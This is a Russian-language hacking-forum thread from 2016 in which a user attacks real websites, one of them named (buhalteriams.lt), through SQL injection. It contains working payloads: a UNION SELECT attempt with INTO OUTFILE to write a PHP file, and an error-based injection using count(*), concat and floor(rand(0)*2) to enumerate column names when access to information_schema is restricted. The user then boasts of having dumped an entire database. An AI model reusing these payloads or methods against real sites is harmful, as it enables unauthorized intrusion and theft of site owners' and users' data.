Blind SQL или есть варианты?

Discussion in 'Песочница' started by labanec, 24 Aug 2016.

  1. labanec

    labanec New Member

    Joined:
    24 Aug 2016
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Если возможно, не убивайте их сайт.
    Смотрел так, получил имя пользователя:

    Code:
    http://www.buhalteriams.lt/?id=42+union+select+user%28%29+INTO+OUTFILE+%271.php%27+--+1


    Если делаю запрос
    Code:
    http://www.buhalteriams.lt/?id=42+union+select+table_schema+from+information_schema.tables--+1
    , пишет, что локаль не совпадает(Illegal mix of collations for operation 'UNION').
    Пробовал другие запросы (к примеру для вывода user()) - ошибок не выводит но и ничего не показывает.
    Подскажите как можно обойти проблемму локали. И как заставить показывать результат запроса, если ошибок нету ? Спасибо.
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    _________________________
    labanec likes this.
  3. labanec

    labanec New Member

    Joined:
    24 Aug 2016
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Моими слабыми знаниями:) Буду дальше копать, благодарю. Не до конца понимал как составлять запросы такого типа.
     
  4. labanec

    labanec New Member

    Joined:
    24 Aug 2016
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Тут другyю страничку за титьку щупаю. При инжекции кидает что селект запрос для information_schema.tables под запретом для текущего юзверя. По убогому функционалу сайтика, контента под другими БД юзверями не предвидется. Error вектор, как я понял, не поможет? Только угадать таблицы, конечно если их дадут селектить?
     
    #4 labanec, 25 Aug 2016
    Last edited: 25 Aug 2016
  5. labanec

    labanec New Member

    Joined:
    24 Aug 2016
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Вот так обошел запрет на селект запросы для текущего пользователя БД и содрал названиея ячеек таблиц. Для знатоков баян конечно же, для меня открытие :)
    id=22+and(select 1 from(select count(*),concat((SELECT column_name FROM information_schema.columns limit 176,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
    Перебираем чиска (к примеру теперь 176) и тяням по одному названию ячейки. Названия ячеек лежат в куче, но по первому ID можно определить, что началась новая таблица. Почемуто concat_ws, concat, group_concat не смог использовать, база цеплялась к ошибке "колумсов больше 1".
    Когда узнал названия таблиц а после названия столбцов, база была в кармане. Вот тогда и сгрупировать ячейки смог и всю базу содрал :)